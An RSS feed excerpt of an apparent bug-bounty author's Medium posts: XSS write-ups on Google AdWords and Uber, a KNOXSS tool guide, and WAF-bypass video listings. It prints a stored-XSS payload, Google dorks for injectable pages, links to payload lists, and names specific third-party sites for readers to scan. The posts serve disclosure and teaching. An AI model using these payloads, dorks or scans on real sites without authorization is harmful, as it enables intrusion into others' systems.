It&#39;s a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more.</a></p><p><a href="https://github.com/cujanovic/Content-Bruteforcing-Wordlist"><strong>Content-Bruteforcing-Wordlist</strong></a><strong>.</strong></p><p><a href="https://github.com/cujanovic/Content-Bruteforcing-Wordlist">cujanovic/Content-Bruteforcing-Wordlist</a></p><p><strong>Oracle applications word-list</strong></p><p><a href="https://github.com/huntergregal/wordlists/blob/master/app_specific/oracle.txt">huntergregal/wordlists</a></p><p><a href="https://github.com/Bo0oM/fuzz.txt"><strong>fuzz.txt</strong></a></p><p><a href="https://github.com/Bo0oM/fuzz.txt">GitHub - Bo0oM/fuzz.txt: Potentially dangerous files</a></p><p><strong>Payloads All The Things</strong></p><p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings">GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and Pentest/CTF</a></p><p><strong>FuzzDb</strong></p><p><a href="https://github.com/fuzzdb-project/fuzzdb">GitHub - fuzzdb-project/fuzzdb: Dictionary of attack patterns and primitives for black-box application fault injection and resource discovery.</a></p><p><strong>Uber XSS discovered by Knoxss:</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FQPL8DUti8rM%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DQPL8DUti8rM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FQPL8DUti8rM%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/8fcefce582593069f425b882a2b16069/href">https://medium.com/media/8fcefce582593069f425b882a2b16069/href</a></iframe><p><strong>Grabtaxi XSS discovered by Knoxss:</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Frq_SeNirVTA%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Drq_SeNirVTA&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Frq_SeNirVTA%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/abc7d8edcf8fbcfb554a547820b4c5f0/href">https://medium.com/media/abc7d8edcf8fbcfb554a547820b4c5f0/href</a></iframe><p><strong>Some useful tools to discover the hidden directories like:</strong></p><p><strong>1:- <em>Dirsearch</em>:-</strong></p><p><a href="https://github.com/maurosoria/dirsearch">https://github.com/maurosoria/dirsearch</a></p><p><strong>2:- <em>Dirb</em>:-</strong></p><p><a href="https://tools.kali.org/web-applications/dirb">https://tools.kali.org/web-applications/dirb</a></p><p><strong>3:- <em>OWASP DirBuster Project:-</em></strong></p><p><a href="https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project">https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project</a></p><h3>Bypassing WAFs:</h3><p>I’ve bypassed some WAFs like <em>Incapsula, Akamai, Cloudflare and more</em></p><p><strong>Incapsula WAF bypassing:- ING BANK</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FQISJfRHTT9E%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DQISJfRHTT9E&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FQISJfRHTT9E%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/402404d38bf595fb0bb97ab5dc49a42d/href">https://medium.com/media/402404d38bf595fb0bb97ab5dc49a42d/href</a></iframe><p><strong>Akamai WAF bypassing:- AMERICAN EXPRESS</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FhOx3ZQ1o58A%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DhOx3ZQ1o58A&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FhOx3ZQ1o58A%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/9f4ff5d2b4883d4c10488800ba6123d0/href">https://medium.com/media/9f4ff5d2b4883d4c10488800ba6123d0/href</a></iframe><p><strong>Akamai WAF bypassing:- ABNAMRO BANK.</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FGO6EmblJT1k%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DGO6EmblJT1k&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FGO6EmblJT1k%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/a31bce8533de0f05ffd434d00b7e222e/href">https://medium.com/media/a31bce8533de0f05ffd434d00b7e222e/href</a></iframe><p><strong>Cloudflare WAF bypassing:- Practo</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FjISQDgS4Gh0%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DjISQDgS4Gh0&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FjISQDgS4Gh0%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/f3eca2788ae1573b0cf3846a9ffd1051/href">https://medium.com/media/f3eca2788ae1573b0cf3846a9ffd1051/href</a></iframe><p>After the massive success of <strong>Knoxss</strong> Beta, just few days ago <strong>Knoxss</strong> 2.0 got released during the time of BlackFriday. Some of the new features:</p><p>1:- Runtime Log feature.</p><p>2:- New add-on for Firefox Quantum.</p><p>3:- New XSS detection cases.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F5Bo5Kb3lZlQ%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D5Bo5Kb3lZlQ&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F5Bo5Kb3lZlQ%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/a2e7064cf55b8d9ca387255b169497cd/href">https://medium.com/media/a2e7064cf55b8d9ca387255b169497cd/href</a></iframe><p><em>The sites mentioned in the post have already been contacted about the vulnerabilities.</em></p><p>Even after my previous article, many people contacted me to write in detail about the usage. A lot of people don’t understand the way this tool works so I wrote another article about it.</p><blockquote><strong><em>BugBountyTip</em></strong>: Hack the developer’s mind because we are all humans &amp; humans make mistakes and nothing is completely secure just remember that.</blockquote><p>Thats not only it! The future of <strong>Knoxss</strong> is more bright, you will definitely get your <strong>Knoxss</strong> Pro price back by bounties.(amen)</p><p>Thanks to <a href="https://twitter.com/brutelogic">@brutelogic</a> for their immense effort and hardwork, <a href="https://twitter.com/akita_zen">@akita_zen</a> and <a href="https://twitter.com/IfrahIman_">@IfrahIman_</a> for the support.</p><p>Happy Hunting to y’all !</p><p><em>-</em><a href="https://twitter.com/Alra3ees"><em>Emad</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eaa9763cda78" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Google adwords 3133.7$ Stored XSS]]></title>
            <link>https://medium.com/@Alra3ees/google-adwords-3133-7-stored-xss-27bb083b8d27?source=rss-1764222123d3------2</link>
            <guid isPermaLink="false">https://medium.com/p/27bb083b8d27</guid>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Emad Shanab]]></dc:creator>
            <pubDate>Wed, 21 Mar 2018 08:23:38 GMT</pubDate>
            <atom:updated>2018-03-22T17:25:15.621Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>welcome my brothers and friends.</strong></p><p>I would love to thank you for your support and wish success to all.</p><p>There was a dream called Google and its HOF without thinking about reward or anything else.</p><p>This vulnerability was the easiest vulnerability and more vulnerability has been rewarded so far.</p><p><strong><em>In 17/02/2018 I posted a post on Facebook.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*xUtWecfjgqFfFXMqZlYNag.png" /><figcaption>I think it’s the time to get Google HOF</figcaption></figure><p>Because I always choose my target and do not go to another without ending it completely.</p><p>My work as a <strong><em>lawyer </em></strong>also takes all my time and I only have 6 hours daily to do my hobby.</p><p>On 08/03/2018 while browsing my gmail I clicked on even more from Google . You will find it in the up right side.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/352/1*O_oW468O6C15ofEqW4DxIQ.png" /><figcaption>Even more from Google</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3dEgQ8c4iph2sigwDk0-1A.png" /><figcaption>Google products page</figcaption></figure><p>After browsing the entire page I chose my target which is Google adwords.</p><p>I logged in and started the test and moved from page to another and in fact I</p><p>was <strong><em>playing </em></strong>didn&#39;t expect to find anything.</p><p>I was added many payloads hoping that the magic alert would appear.</p><p>I went to this page:- <br> <br><a href="https://adwords.google.com/aw/conversions">https://adwords.google.com/aw/conversions</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ynw0rKyTParxhly81isVlg.png" /><figcaption><a href="https://adwords.google.com/aw/conversions">conversions</a></figcaption></figure><p>I added a new conversation and in the conversation name i put this payload.</p><p>“&gt;&lt;svg/onload=alert(document.domain)&gt;”<a href="http://twitter.com/x">@x</a>.y</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xyivRR3b3qTPXYy__JKjTA.png" /><figcaption>conversation name</figcaption></figure><p>After added the payload it pupped up many times and I thought it might be a</p><p>self XSS so i clicked on prevent this message to continue and complete it.</p><p>After completion i have clicked on Save Conversation.</p><p>And the payload didn&#39;t pupped up any more because i chooses to prevent the XSS alert.</p><p>I copied the entire URL and paste it into the browser in a new tab and this time I got shocked.</p><p>The payload was stored on the page and works on all the latest versions of browsers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NQbUhgKYwkRJTqwUWZGfTg.png" /><figcaption>XSS pupped up in latest version of Firefox for Kali Linux</figcaption></figure><p>And worked on Firefox in windows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ibzZYIomqq9q0l7VJB5o4A.png" /><figcaption>XSS pupped up in latest version of Firefox for windows</figcaption></figure><p><strong><em>I made a cup of coffee and lit a cigarette</em></strong> and wrote the report and I made a</p><p>video to explain the vulnerability and report it to Google and waited for the</p><p>reply hoping not to be duplicated.</p><p>I received a message from Google accepting the vulnerability</p><p>and nice catch ( i loved it ).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pvKkYp8esQ0PAzw2hPN1xg.png" /><figcaption>nice catch ( i loved it )</figcaption></figure><p>A very easy vulnerability and I got A good bounty from Google Vulnerability Reward Program and HOF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yGWO2TnWbfy9fj0n1-l79w.png" /><figcaption>Rewarded $ 3133.7</figcaption></figure><p>Finally my name added to Google HOF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*DjKRFa5D9EX2QQgOyjGYLA.png" /><figcaption>Google HOF</figcaption></figure><p><em>Time line:-</em></p><p><em>08/03/2018 I have found the vulnerability and Email sent to Google</em></p><p><em>08/03/2018 Got automatically replay confirms they’ve received my message</em></p><p><em>08/03/2018 I received a message from Google accepting the vulnerability</em></p><p><em>08/03/2018 I received a message from Google nice catch ( i loved it )</em></p><p><em>20/03/2018 closed the report and changed the status to Resolved</em></p><p><em>20/03/2018 Rewarded $ 3133.7 for Stored XSS in google adwords</em></p><p>I would love to thank you all for your patience in reading my write up and for</p><p>your continued support.</p><p>specially :-</p><p><a href="https://twitter.com/knowledge_2014">@ak1t4 z3n</a> <a href="https://twitter.com/brutelogic">@Brute</a> and <a href="https://twitter.com/IfrahIman_">@IfrahIman_</a></p><p><strong>I&#39;m very happy to unlock this achievement and my goal for this year is perfect so far.</strong></p><h3><strong><em>sorry for my bad English but just i wanted to share this with yo</em></strong>u as always i doing.</h3><p>The POC video hope you will like it:-</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FxXM3rTd8SpM%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DxXM3rTd8SpM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FxXM3rTd8SpM%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/ccf16f22b1c1f339ef47383e5a17f21d/href">https://medium.com/media/ccf16f22b1c1f339ef47383e5a17f21d/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=27bb083b8d27" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[KNOXSS for Dummies! A new Detailed Guide to use KNOXSS Pro in real world]]></title>
            <link>https://medium.com/@Alra3ees/knoxss-for-dummies-a-new-detailed-guide-to-use-knoxss-pro-in-real-world-585cbfe16063?source=rss-1764222123d3------2</link>
            <guid isPermaLink="false">https://medium.com/p/585cbfe16063</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[emad-shanab]]></category>
            <category><![CDATA[knoxss]]></category>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[cross-site-scripting]]></category>
            <dc:creator><![CDATA[Emad Shanab]]></dc:creator>
            <pubDate>Mon, 15 Jan 2018 22:21:47 GMT</pubDate>
            <atom:updated>2018-01-15T23:06:45.829Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*8-YEUMUgNhALwVMYgo0cug.jpeg" /><figcaption>Just “XSS” it</figcaption></figure><p>Hello to all my brothers and friends.</p><p>First i would like to thank @knowledge_2014 (<a href="https://twitter.com/knowledge_2014">ak1t4 z3n</a>) for his support and @IfrahIman_ (<a href="https://twitter.com/IfrahIman_">Ifrah Iman</a>) for helping to write this article.</p><p>My name is <strong>Emad Shanab</strong> from Egypt. I am a lawyer by occupation but I love to find bugs in websites as a hobby.</p><blockquote>“Every Law has its own Bugs” — Me</blockquote><p>When it comes to website vulnerabilities, one of the most common vulnerability is <strong>Cross Site Scripting</strong>. And thats what I find the most. But these days when there are numerous protections for cross site scripting bugs and different kinds of WAF protecting the site from it, it gets sometimes a little bit difficult to find. <em>(We are not talking about to paste alert(1) in search box)</em></p><p>One year back my Friend @brutelogic XSS Jedi released a master piece called “<strong>KNOXSS</strong>”. Even though its still in its Beta release but it has gone through so many good changes and hopefully stable one be Much better.</p><p>So what is <strong>KNOXSS</strong> ? <strong>KNOXSS</strong> is an online <strong>XSS</strong> discovery tool, Its way different than <strong>XSS</strong> finding scripts as it is based on its own server. Using it is very simple and it directly bypasses the WAF by uses tons of Brute’s custom payloads &amp; directly gives us the <strong>POC</strong> link.</p><h4>KNOXSS helped me achieve bugs like:</h4><p>1:- XSS in UBER — 500$ bounty -HOF</p><p>2:- XSS in Adobe 2 XSS -HOF</p><p>3:- XSS in private sites — bounty -HOF</p><p>4:- More than 700 XSS report in openbugbounty platform -bounty-HOF</p><p>And many more !</p><p>So this “<strong>KNOXSS for Dummies</strong>” will guide you to use <strong>KNOXSS</strong> pro version properly.</p><p>There are two ways to test for XSS in website with KNOXSS:</p><p>1:- Use <strong>KNOXSS</strong> to find <strong>XSS</strong> on current page’s domain (by extension)</p><p><em>Example to bypass CloudFlare WAF:</em></p><p><a href="http://ecoplusfuneraire-saintlo.com/">http://ecoplusfuneraire-saintlo.com/</a></p><p>2:- Or using <strong>KNOXSS</strong> Pro Interface and entering a URL endpoint or domain</p><p><em>Example:</em></p><p><a href="https://www.asus.com/uk/search/results.aspx?SearchKey=xs&amp;SearchType=Shop">https://www.asus.com/uk/search/results.aspx?SearchKey=xs&amp;SearchType=Shop</a></p><p>All these Examples reported to company via openbugbounty platform and to asus.com via email.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>KNOXSS</strong> is a genius tool as I believe it doesn’t only scans the URL, but gets more endpoints by the source code, making automatic post requests on things like buttons/options etc with very few positives.</p><p><strong>KNOXSS</strong> currently looks for:</p><p><strong>1- Reflective XSS</strong></p><p><strong>2- XSS via POST Request</strong></p><p><strong>3- Blind XSS</strong></p><p>Now For example If you decided to test <a href="https://www.test.com/">https://www.test.com</a> and you fired up the extension you will see a notification from extension says :</p><p><strong>“Extensions active for *.test.com “</strong></p><p>Then it will automatically look for endpoints and URLS like <em>“.*test.com/emad?tags=”</em> etc / make automatic post requests which it will test them with I wonder how many 1337 payloads.</p><p>If the payload gets injected successfully in one of the Links it will be a Reflective <strong>XSS</strong>, it will open a new browser window with that URL.</p><p>In some cases, when the payload is not in the URL, but in the source code, <strong>KNOXSS</strong> generates a base64 code with the POST request, where you have to Click on the Button and the <strong>XSS</strong> gets executed.</p><p><strong>KNOXSS</strong> can get <strong>Blind</strong> <strong>XSS</strong>’s too! If you turned on <strong>KNOXSS</strong> on a Link where it will send the message to the Admin Portal, like Contact form etc, <strong>KNOXSS</strong> automatically sends the Payload, and once it is executed it sends you notification of the report via Email.</p><p><strong>Example for Blind XSS:</strong></p><p><a href="https://jusfood.com/">https://jusfood.com/</a></p><p><a href="http://www.mymeetscores.com/">http://www.mymeetscores.com/</a></p><p>Run <strong>KNOXSS</strong> on these 2 sites and check your <strong>inbox</strong> after some while you’ll receive the report.</p><h4>Enumerating via Google Dorks:</h4><p>The best way to use KNOXSS is with Google dorks as it makes it more easier and faster.</p><p>When you search in Google, you can include search operators in the entry field to narrow or broaden your search.</p><p><strong>Like:</strong></p><p>site:site.com (returns results from certain sites or domains)</p><p>filetype: (searches for exact file type like php,txt)</p><p>inurl: (searches for specific text in the indexed URL like id, uid, cart, buy)</p><p>intitle: (searches for query terms in the page’s title like upload, upload)</p><p><strong>Dorks Examples:</strong></p><p>site:google.com inurl:id=</p><p>site:google.com filetype:php</p><p>site:google.com intitle:upload</p><p><strong>Test Dorks:</strong></p><p>inurl:”.php?id=” intext:”View cart”</p><p>inurl:”.php?cid=” intext:”shopping”</p><p>inurl:/news.php?include=</p><p>inurl:”.php?query=”</p><p><strong>For more on Dorks, nothing will be better than this:</strong></p><blockquote><a href="https://www.exploit-db.com/google-hacking-database/">https://www.exploit-db.com/google-hacking-database/</a></blockquote><p>I will attach some lists to find <strong>admin</strong> panel and 4500 dorks to get <strong>blind XSS</strong> easy you can download it from this URL</p><p><a href="https://drive.google.com/file/d/1g-vWLd998xJwLNci7XuZ6L1hRXFpIAaF/view?usp=sharing">https://drive.google.com/file/d/1g-vWLd998xJwLNci7XuZ6L1hRXFpIAaF/view?usp=sharing</a></p><h4>Enumerating via Fuzzing:</h4><p>Now if ever go through a sub-domain which has empty page/white page, you can try to enumerate more, by using Dirb or Dirbuster etc and get directories/files and run on it.</p><p>Usage :-<em> dirb site.com list.txt path</em></p><p>You can also use Seclist where you will find some Web_Content lists to fuzz paths like tomcat or apache:</p><blockquote><a href="https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web_Content">https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web_Content</a></blockquote><p><strong>Example:-</strong></p><p><a href="https://payment-providers.uber.com/">https://payment-providers.uber.com</a></p><p>For more information you can watch my uber POC.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F6KZsn3LhZhY%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D6KZsn3LhZhY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F6KZsn3LhZhY%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/d577fea60911498cb68047ca22211f04/href">https://medium.com/media/d577fea60911498cb68047ca22211f04/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FQPL8DUti8rM%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DQPL8DUti8rM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FQPL8DUti8rM%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/8fcefce582593069f425b882a2b16069/href">https://medium.com/media/8fcefce582593069f425b882a2b16069/href</a></iframe><p>Recently a lot of people were curious about the usage so I described the best I could. Hopefully your doubts might have been cleared. Now you just have to use your mind for further testing it on your own. Remember, the tool is only automated but thinking is done Manual. Do lots of recon of the site then use <strong>KNOXSS</strong> it will be helpful.</p><p>Have a nice <strong>XSSy</strong> day !</p><p><strong>P.S: </strong>The sites I mentioned in the post, i have already contacted them via Email/Openbugbounty :)</p><p><em>Here is the Demo Video:</em></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FOefs5CaZlr8%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DOefs5CaZlr8&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FOefs5CaZlr8%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/5561910ee531bc277ed7dd5138d81b3d/href">https://medium.com/media/5561910ee531bc277ed7dd5138d81b3d/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=585cbfe16063" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My write up about UBER Cross-site scripting by help of KNOXSS]]></title>
            <link>https://medium.com/@Alra3ees/my-write-up-about-uber-cross-site-scripting-by-help-of-knoxss-b1b56f8d090?source=rss-1764222123d3------2</link>
            <guid isPermaLink="false">https://medium.com/p/b1b56f8d090</guid>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Emad Shanab]]></dc:creator>
            <pubDate>Sat, 02 Sep 2017 03:06:05 GMT</pubDate>
            <atom:updated>2017-09-02T03:06:05.668Z</atom:updated>
            <content:encoded><![CDATA[<p>Sorry for my bad English</p><p>This is my first write up about bug bounty.</p><p>but i will do it to support the great man <a href="http://twitter.com/brutelogic">@brutelogic</a> and his great tool <a href="http://twitter.com/knoxss_me">@knoxss_me</a></p><p>It was a dream to find XSS in uber and be in uber HOF</p><p>So i made a purchase to <a href="http://twitter.com/knoxss_me">@knoxss_me</a> ( pro version) and start looking for XSS in uber sub domains</p><p>I used some tools to extract sub domains like <a href="https://github.com/aboul3la/Sublist3r">Sublist3r</a> and <a href="https://github.com/michenriksen/aquatone">aquatone</a></p><p>After a long time of looking i have found this sub domain</p><p><a href="https://payment-providers.uber.com/">https://payment-providers.uber.com</a></p><p>So i noticed that it is not show any thing just a white page</p><p>so i started brute force to get any bugs or directory listing or any valid parameters or files</p><p>I used dirb tool in kali linux to brute force valid parameters</p><p><a href="https://tools.kali.org/web-applications/dirb">https://tools.kali.org/web-applications/dirb</a></p><p>And after some time i got this end point</p><p><a href="https://payment-providers.uber.com/health/">https://payment-providers.uber.com/health/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U-s5fHKw5JZt0VxgpxYT6Q.png" /></figure><p>So i fired up the <a href="http://twitter.com/knoxss_me">@knoxss_me</a> and for my good luck i got the magic XSS box from <a href="http://twitter.com/knoxss_me">@knoxss_me</a> service</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FQPL8DUti8rM%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DQPL8DUti8rM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FQPL8DUti8rM%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/8fcefce582593069f425b882a2b16069/href">https://medium.com/media/8fcefce582593069f425b882a2b16069/href</a></iframe><p>I was very happy to got it and i tweeted about it before report it</p><p>But my signal in hackerone is too low so i sent an email to uber support email and Rob Fletcher from uber support team white listed my account to report it in hackerone</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UADkAvfYJkrWx0QNI-CylQ.png" /></figure><p>Final report to uber</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F6KZsn3LhZhY%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D6KZsn3LhZhY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F6KZsn3LhZhY%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/d577fea60911498cb68047ca22211f04/href">https://medium.com/media/d577fea60911498cb68047ca22211f04/href</a></iframe><p>After that i reported it and they triaged it and got 500$</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BY0Yw9Ff_DHhDCExcaD6dw.jpeg" /></figure><p>Thanks to <a href="http://twitter.com/brutelogic">@brutelogic</a> and <a href="http://twitter.com/knoxss_me">@knoxss_me</a> and special thanks to <a href="https://twitter.com/knowledge_2014">@knowledge_2014</a> for supporting me</p><p>Time line:-<br> 07/08/2017 Email sent to <a href="/service/mailto:security-abuse@uber.com">security-abuse@uber.com</a></p><p>07/08/2017 Got replay from Rob Fletcher said Ok, cool, you’re account should be whitelisted</p><p>07/08/2017 Reported to uber hackerone page</p><p>08/08/2017 changed the status to Triaged and rewarded with a $500 bounty</p><p>23/08/2017 closed the report and changed the status to Resolved</p><p>25/08/2017 decided that this report is not eligible for a bounty because payment-providers.uber.com isn’t typically used in a web browser</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b1b56f8d090" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>